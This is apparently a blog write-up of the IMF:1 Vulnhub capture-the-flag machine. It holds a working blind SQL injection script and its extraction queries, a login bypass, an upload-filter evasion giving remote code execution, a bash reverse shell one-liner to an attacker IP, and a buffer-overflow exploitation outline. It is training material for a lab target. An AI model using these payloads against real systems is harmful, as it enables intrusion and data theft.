IMF: 1 — Vulnhub Writteup

Javiki
9 min readMay 1, 2024

--

Installation

First of all, we need to download the .ova file from the official website (IMF 1). In my case, I’m using VMWare Workstation, so all I have to do is click on File > Open > Select IMF.ova. Once you’ve done that, just start the machine in a new tab.

Exploiting the machine

At this point, I’m using my Kali Linux machine, so I need to scan the network to identify the vulnhub machine. The tool I’m using to do this is arp-can:

arp-scan -I eth0 --localnet --ignoredups

We want to scan our local network, specifying the interface with -I (usually eth0 if you’re using Kali or ens33 if you’re using Parrot), I don’t want to see any duplicates, so I added the ignoredups flag.

In this case, the IP address is 192.168.1.51, but it will be different for you, so it’s important to scan the network. If you try to ping the machine you will see that something is blocking the icmp packets, so don’t worry, it’s something normal.

Let’s start with the nmap scan to see what ports are open. I like to start with a quick scan to see what ports are open, so that I can then enumerate the services running on those ports. My first scan looks something like this:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.51

And now that I see that port 80 is open, I can start enumerating the service running on that port:

nmap -sCV -p80 192.168.1.51 -oN scanned
Nmap scan report for imf.home (192.168.1.51)
Host is up (0.00011s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:35:BB:A7 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.46 seconds

The target machine is running Apache 2.4.18 on port 80. If you check the page, you will see this:

If we click on projects we can see some users, that we are going to save them in a file, just in case we need them in the future.

If we inspect the page with ctrl+u we can see a flag in a comment (line 149), that is encoded in base 64.

This is probably a hint, for the next flag. At the top of the file we can see that the js file name is strange, it looks like base64 encoded, so lets try to decode them together.

We have imfadministrator so maybe it’s a web directory

There’s a login panel now. We can enumerate users because if we enter something wrong, we see that the website response is “Invalid username”. If we try the users we collected earlier, we see that the user rmichaels is a valid username.
If we try some SQL injections we will not inject anything, but as we now know that the web uses php (you can use the wappalyzer extension to see this) we will check if the backend is doing the validation correctly or not. We can convert the user input to an array using burpsuite and check if this bypasses the username and password validation. We intercept the request, send it to repeater and change the pass input to an array:

Now we see that the response is a flag, so we bypassed the login panel.

We can see an error message when we try to insert something like a quote. We see that we have mysqli running in the background.

After trying several injections, the only one that works is this one.

So we can try, for example, to enumerate the database name. I’m going to create a Python script for this purpose. Remember that if you want to use it, you have to change the cookie variable and the url.

#!/usr/bin/env python3

import signal
import sys
import time
import requests
import string
from pwn import *


# Global variables
target = "http://192.168.1.51/imfadministrator/cms.php"
characters = string.ascii_lowercase + "_," + string.digits

def def_handler(sig, frame):
print(f"\n\n[!] Saliendo...\n")
exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)


def sqli():

p1 = log.progress("Brute Force")
p1.status("Starting brute forcing process")

time.sleep(1)

p2 = log.progress("Extracted data")

extracted_info = ""

headers = {
'Cookie': 'PHPSESSID=oj1b2gqdpr0o5oglfllnpd4eu0'
}

for position in range(1,100):
for character in characters:

sqli_url = target + f"?pagename=home' or substring((select group_concat(schema_name) from information_schema.schemata),{position},1)='{character}"

p1.status(sqli_url)

r = requests.get(sqli_url, headers=headers)

if "Welcome to the IMF Administration." not in r.text:
extracted_info += character
p2.status(extracted_info)
break

p1.success("Injection Success")
p2.success(extracted_info)

if __name__ == '__main__':
sqli()
python3 sqli.py
[+] Brute Force: Injection Success
[+] Extracted data: information_schema,admin,mysql,performance_schema,sys

Now we have all the databases. Now I can modify the script to enumerate the admin database and see the tables and any useful data it might have. Here are some useful queries to try:

# With this query we obtain the table name from admin database
sqli_url = target + f"?pagename=home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),{position},1)='{character}"

# For enumerating columns
sqli_url = target + f"?pagename=home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),{position},1)='{character}"

# Representing the content of pagename
sqli_url = target + f"?pagename=home' or substring((select group_concat(pagename) from admin.pages),{position},1)='{character}"

Finally, we have available the content of the variable pagename:

python3 sqli.py
[+] Brute Force: Injection Success
[+] Extracted data: disavowlist,home,tutorials-incomplete,upload

This is a bit random, but if you go to tutorials-incomplete you will see a QR code that we need to decode.

Following the information given from the QR code, we now have an upload panel, where we can try to upload some files and see if we can get access to the machine.

I’m going to intercept this with burpsuite so I can try to upload a php file to execute code.

It looks like there’s a WAF that doesn’t like the work “system”. Let’s try to avoid this using this technique

I’m saving the command from the url in a variable and then running it in the system with echo. Now I see an identifier in the response which I will try to use to see if I got an RCE.

And we have the RCE working. There is another way to bypass the WAF, which is to encode the word “system” in hexadecimal, like this:

This is another valid way to get remote code execution by bypassing the WAF.
Now we can send a reverse shell through the URL like this oneliner while listening to our attacker’s machine.

http://192.168.1.51/imfadministrator/uploads/d566e2fd815b.gif?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.12/443%200%3E%261%22

Now, we need to type these commands in order to get a full interactive shell

script /dev/null -c bash
^Z (Press ctrl+z)
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash

The hint for the privilege escalation is “agent services” so let’s use the find command, search for “agent”, and see what we get (redirecting errors to /dev/null)

$ find / -name agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent

There is a binary file, which is the first one, and the second one is test, so we can see the contents

# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}

We can see that it runs the agent as root in port 7788, in fact we can check if the service is running, but it doesn’t seem to be.

But if we can try to stablish a connection with the localhost using the port 7788, the service will start and we can see what happens.

We don’t know the ID agent so the best thing to do is to download the binary to our attacker’s machine and analyse it using ghidra.

You can transfer the file using netcat

Now, we can create a new project in ghidra and import the binary so we can see the code.

Now, we can see the ID that we need to enter into de agent service, which is 48093572

After analysing the code and functionality, I discovered a buffer overflow in this part because the gets() function doesn’t keep track of the total number of characters inserted by the user.

So now, using the tool gdb with peda installed, we are going to exploit the buffer overflow.

gdb ./agent -q

Now, we are goint to create a patter with this command, to see where is the EIP

gdb-peda$ pattern create 200

And now we have the offset using patter again

Now we have to see if there’s any kind of protection, and there’s nothing relevant.

Now we can modify the stack, but first we need to check if ASLR is active, because if it is, it will randomise the registers.

It’s active.

We can do a simple test for this, just using this oneliner we realise that if we select one of these registers, at some point the program will point to one of them, so we have a match.

Another way for doing this is to enumerate the registers so we realize that eax containts de As.

So we can do a ret2reg, looking for a call eax instruction, where we will inject our shellcode so it will be executed. We will create the shellcode with msfvenom

All we need to know is where do we have to point to inject the shellcode. We are going to look for an eax call in the code of the binary.

We have all the information we need, we can create a python script to exploit the buffer overflow.

We run the exploit and… ROOT!

--

--

Javiki

Who am I? I’m Ethical Hacker and Powerlifter. I’m trying to improve my hacking skills, if you wanna learn just follow me!!